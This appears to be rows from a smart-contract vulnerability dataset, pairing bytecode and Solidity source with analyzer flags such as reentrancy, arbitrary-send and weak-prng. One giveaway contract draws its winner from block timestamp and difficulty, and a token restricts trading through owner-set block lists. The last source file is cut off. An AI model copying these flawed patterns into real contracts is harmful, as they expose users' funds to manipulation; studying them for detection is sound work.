33146105cc5760405162461bcd60e51b815260040161046090611a57565b60005b8151811015610642576001600a60008484815181106105fe57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063a81611b6a565b9150506105cf565b5050565b600c546001600160a01b0316336001600160a01b03161461066657600080fd5b6000610671306104ff565b90506104fc8161118b565b6000546001600160a01b031633146106a65760405162461bcd60e51b815260040161046090611a57565b600f54600160a01b900460ff16156107005760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610460565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561073d3082683635c9adc5dea00000610b12565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561077657600080fd5b505afa15801561078a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ae9190611801565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107f657600080fd5b505afa15801561080a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082e9190611801565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561087657600080fd5b505af115801561088a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ae9190611801565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108de816104ff565b6000806108f36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561095657600080fd5b505af115801561096a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098f91906119d7565b5050600f80546722b1c8c1227a000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a0757600080fd5b505af1158015610a1b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064291906119a3565b6000546001600160a01b03163314610a695760405162461bcd60e51b815260040161046090611a57565b60008111610ab95760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610460565b610ad76064610ad1683635c9adc5dea0000084611330565b906113af565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b745760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610460565b6001600160a01b038216610bd55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610460565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c9a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610460565b6001600160a01b038216610cfc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610460565b60008111610d5e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610460565b6000546001600160a01b03848116911614801590610d8a57506000546001600160a01b03838116911614155b15610feb57600f54600160b81b900460ff1615610e71576001600160a01b0383163014801590610dc357506001600160a01b0382163014155b8015610ddd5750600e546001600160a01b03848116911614155b8015610df75750600e546001600160a01b03838116911614155b15610e7157600e546001600160a01b0316336001600160a01b03161480610e315750600f546001600160a01b0316336001600160a01b0316145b610e715760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610460565b601054811115610e8057600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610ec257506001600160a01b0382166000908152600a602052604090205460ff16155b610ecb57600080fd5b600f546001600160a01b038481169116148015610ef65750600e546001600160a01b03838116911614155b8015610f1b57506001600160a01b03821660009081526005602052604090205460ff16155b8015610f305750600f54600160b81b900460ff165b15610f7e576001600160a01b0382166000908152600b60205260409020544211610f5957600080fd5b610f6442603c611afc565b6001600160a01b0383166000908152600b60205260409020555b6000610f89306104ff565b600f54909150600160a81b900460ff16158015610fb45750600f546001600160a01b03858116911614155b8015610fc95750600f54600160b01b900460ff165b15610fe957610fd78161118b565b478015610fe757610fe747611082565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061102d57506001600160a01b03831660009081526005602052604090205460ff165b15611036575060005b611042848484846113f1565b50505050565b6000818484111561106c5760405162461bcd60e51b81526004016104609190611a04565b5060006110798486611b53565b95945050505050565b600c546001600160a01b03166108fc61109c8360026113af565b6040518115909202916000818181858888f193505050501580156110c4573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110df8360026113af565b6040518115909202916000818181858888f19350505050158015610642573d6000803e3d6000fd5b600060065482111561116e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610460565b600061117861141d565b905061118483826113af565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111e157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561123557600080fd5b505afa158015611249573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126d9190611801565b8160018151811061128e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112b49130911684610b12565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112ed908590600090869030904290600401611a8c565b600060405180830381600087803b15801561130757600080fd5b505af115801561131b573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261133f575060006103c7565b600061134b8385611b34565b9050826113588583611b14565b146111845760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610460565b600061118483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611440565b806113fe576113fe61146e565b611409848484611491565b80611042576110426005600855600c600955565b600080600061142a611588565b909250905061143982826113af565b9250505090565b600081836114615760405162461bcd60e51b81526004016104609190611a04565b5060006110798486611b14565b60085415801561147e5750600954155b1561148557565b60006008819055600955565b6000806000806000806114a3876115ca565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114d59087611627565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115049086611669565b6001600160a01b038916600090815260026020526040902055611526816116c8565b6115308483611712565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161157591815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006115a482826113af565b8210156115c157505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115e78a600854600954611736565b92509250925060006115f761141d565b9050600080600061160a8e878787611785565b919e509c509a509598509396509194505050505091939550919395565b600061118483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611048565b6000806116768385611afc565b9050838110156111845760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610460565b60006116d261141d565b905060006116e08383611330565b306000908152600260205260409020549091506116fd9082611669565b30600090815260026020526040902055505050565b60065461171f9083611627565b60065560075461172f9082611669565b6007555050565b600080808061174a6064610ad18989611330565b9050600061175d6064610ad18a89611330565b905060006117758261176f8b86611627565b90611627565b9992985090965090945050505050565b60008080806117948886611330565b905060006117a28887611330565b905060006117b08888611330565b905060006117c28261176f8686611627565b939b939a50919850919650505050505050565b80356117e081611bb1565b919050565b6000602082840312156117f6578081fd5b813561118481611bb1565b600060208284031215611812578081fd5b815161118481611bb1565b6000806040838503121561182f578081fd5b823561183a81611bb1565b9150602083013561184a81611bb1565b809150509250929050565b600080600060608486031215611869578081fd5b833561187481611bb1565b9250602084013561188481611bb1565b929592945050506040919091013590565b600080604083850312156118a7578182fd5b82356118b281611bb1565b946020939093013593505050565b600060208083850312156118d2578182fd5b823567ffffffffffffffff808211156118e9578384fd5b818501915085601f8301126118fc578384fd5b81358181111561190e5761190e611b9b565b8060051b604051601f19603f8301168101818110858211171561193357611933611b9b565b604052828152858101935084860182860187018a1015611951578788fd5b8795505b8386101561197a57611966816117d5565b855260019590950194938601938601611955565b5098975050505050505050565b600060208284031215611998578081fd5b813561118481611bc6565b6000602082840312156119b4578081fd5b815161118481611bc6565b6000602082840312156119d0578081fd5b5035919050565b6000806000606084860312156119eb578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a3057858101830151858201604001528201611a14565b81811115611a415783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611adb5784516001600160a01b031683529383019391830191600101611ab6565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0f57611b0f611b85565b500190565b600082611b2f57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4e57611b4e611b85565b500290565b600082821015611b6557611b65611b85565b500390565b6000600019821415611b7e57611b7e611b85565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104fc57600080fd5b80151581146104fc57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b64cff476029b4e4dad54826b7feabbe2850f9ef85597e540e57ed65483ada6664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,225 |
0x6eac54a0fb4f1ac408918061d736030c34eebe0e
|
/**
*Submitted for verification at Etherscan.io on 2022-04-24
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
contract GiveawayWinner is Ownable {
using EnumerableSet for EnumerableSet.AddressSet;
using EnumerableSet for EnumerableSet.UintSet;
address public winner;
event AddToWhiteList(address _address);
event RemovedFromWhiteList(address _address);
event WhiteListMultipleAddress(address[] accounts);
event RemoveWhiteListedMultipleAddress(address[] accounts);
EnumerableSet.AddressSet whitelist;
EnumerableSet.UintSet winnerIndices;
event Winner(address winnerAddress, uint256 index);
function findNewWinner() external onlyOwner {
uint256 salt;
uint256 n = whitelist.length();
for (uint256 i; i < n; i++) {
uint256 index = _random(salt) % n;
if (!winnerIndices.contains(index)) {
winner = whitelist.at(index);
winnerIndices.add(index);
emit Winner(winner, index);
break;
}
salt++;
}
}
function _random(uint256 salt) private view returns (uint256) {
return uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp, salt, whitelist._inner._values)));
}
function whiteListAddress(address _address) external onlyOwner {
whitelist.add(_address);
emit AddToWhiteList(_address);
}
function removeWhiteListedAddress(address _address) external onlyOwner {
whitelist.remove(_address);
emit RemovedFromWhiteList(_address);
}
function whiteListMultipleAddress(address[] calldata _address) external onlyOwner {
uint256 n = _address.length;
for (uint256 i = 0; i < n; i++) {
whitelist.add(_address[i]);
}
emit WhiteListMultipleAddress(_address);
}
function removeAllAddress() external onlyOwner {
delete whitelist;
}
}
|
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063c433793d11610066578063c433793d146100db578063caceb61b146100ee578063cf52a7b214610101578063dfbf53ae14610114578063f2fde38b1461012757600080fd5b806345ec31ce146100985780636128e1b1146100a2578063715018a6146100aa5780638da5cb5b146100b2575b600080fd5b6100a061013a565b005b6100a0610183565b6100a0610297565b6000546001600160a01b03165b6040516001600160a01b03909116815260200160405180910390f35b6100a06100e93660046107b7565b6102cd565b6100a06100fc3660046107d2565b610343565b6100a061010f3660046107b7565b6103fd565b6001546100bf906001600160a01b031681565b6100a06101353660046107b7565b61046c565b6000546001600160a01b0316331461016d5760405162461bcd60e51b815260040161016490610847565b60405180910390fd5b60026000818161017d8282610769565b50505050565b6000546001600160a01b031633146101ad5760405162461bcd60e51b815260040161016490610847565b6000806101ba6002610507565b905060005b81811015610292576000826101d385610517565b6101dd919061087c565b90506101ea600482610550565b610271576101f960028261056b565b600180546001600160a01b0319166001600160a01b0392909216919091179055610224600482610577565b50600154604080516001600160a01b039092168252602082018390527f9c2270628a9b29d30ae96b6c4c14ed646ee134febdce38a5b77f2bde9cea2e20910160405180910390a150505050565b8361027b816108b4565b94505050808061028a906108b4565b9150506101bf565b505050565b6000546001600160a01b031633146102c15760405162461bcd60e51b815260040161016490610847565b6102cb6000610583565b565b6000546001600160a01b031633146102f75760405162461bcd60e51b815260040161016490610847565b6103026002826105d3565b506040516001600160a01b03821681527f9354cd337eebad48c93d70f7321b188732c3061fa5c48fe32b8e6f9480c52fcc906020015b60405180910390a150565b6000546001600160a01b0316331461036d5760405162461bcd60e51b815260040161016490610847565b8060005b818110156103be576103ab84848381811061038e5761038e6108cf565b90506020020160208101906103a391906107b7565b6002906105e8565b50806103b6816108b4565b915050610371565b507ffc031e12a6809f53d08acff9a98051c4774f44ea3885aadcb4be62ecd3544dff83836040516103f09291906108e5565b60405180910390a1505050565b6000546001600160a01b031633146104275760405162461bcd60e51b815260040161016490610847565b6104326002826105e8565b506040516001600160a01b03821681527f16220188fd357ae3d9cf432f984d1ea5c73787b829a3e72a4b807e8c0ebf5b0c90602001610338565b6000546001600160a01b031633146104965760405162461bcd60e51b815260040161016490610847565b6001600160a01b0381166104fb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610164565b61050481610583565b50565b6000610511825490565b92915050565b60405160009061053290449042908590600290602001610931565b60408051601f19818403018152919052805160209091012092915050565b600081815260018301602052604081205415155b9392505050565b600061056483836105fd565b60006105648383610627565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610564836001600160a01b038416610676565b6000610564836001600160a01b038416610627565b6000826000018281548110610614576106146108cf565b9060005260206000200154905092915050565b600081815260018301602052604081205461066e57508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610511565b506000610511565b6000818152600183016020526040812054801561075f57600061069a60018361097f565b85549091506000906106ae9060019061097f565b90508181146107135760008660000182815481106106ce576106ce6108cf565b90600052602060002001549050808760000184815481106106f1576106f16108cf565b6000918252602080832090910192909255918252600188019052604090208390555b855486908061072457610724610996565b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050610511565b6000915050610511565b508054600082559060005260206000209081019061050491905b808211156107975760008155600101610783565b5090565b80356001600160a01b03811681146107b257600080fd5b919050565b6000602082840312156107c957600080fd5b6105648261079b565b600080602083850312156107e557600080fd5b823567ffffffffffffffff808211156107fd57600080fd5b818501915085601f83011261081157600080fd5b81358181111561082057600080fd5b8660208260051b850101111561083557600080fd5b60209290920196919550909350505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008261089957634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052601160045260246000fd5b60006000198214156108c8576108c861089e565b5060010190565b634e487b7160e01b600052603260045260246000fd5b60208082528181018390526000908460408401835b86811015610926576001600160a01b036109138461079b565b16825291830191908301906001016108fa565b509695505050505050565b848152600060208581840152846040840152606083018454856000528260002060005b8281101561097057815484529284019260019182019101610954565b50919998505050505050505050565b6000828210156109915761099161089e565b500390565b634e487b7160e01b600052603160045260246000fdfea264697066735822122009dbf3c6f57ad4ee288ffb232fddb10e5fe4407fd978c5578e204357b46a42ca64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 6,226 |
0x6b1220b6503ecc0d7308f58d029279e5ee4d4b44
|
/**
*Submitted for verification at Etherscan.io on 2021-06-09
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-10
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract GERARDCUNT is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'FUCK GERALD BROFLOVSKI INU';
string private _symbol = '\xf0\x9f\x8d\x86 \xf0\x9f\x8d\xa9 ';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 100000000 * 10**6 * 10**9;
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view override returns (string memory) {
return _name;
}
function symbol() public view override returns (string memory) {
return _symbol;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
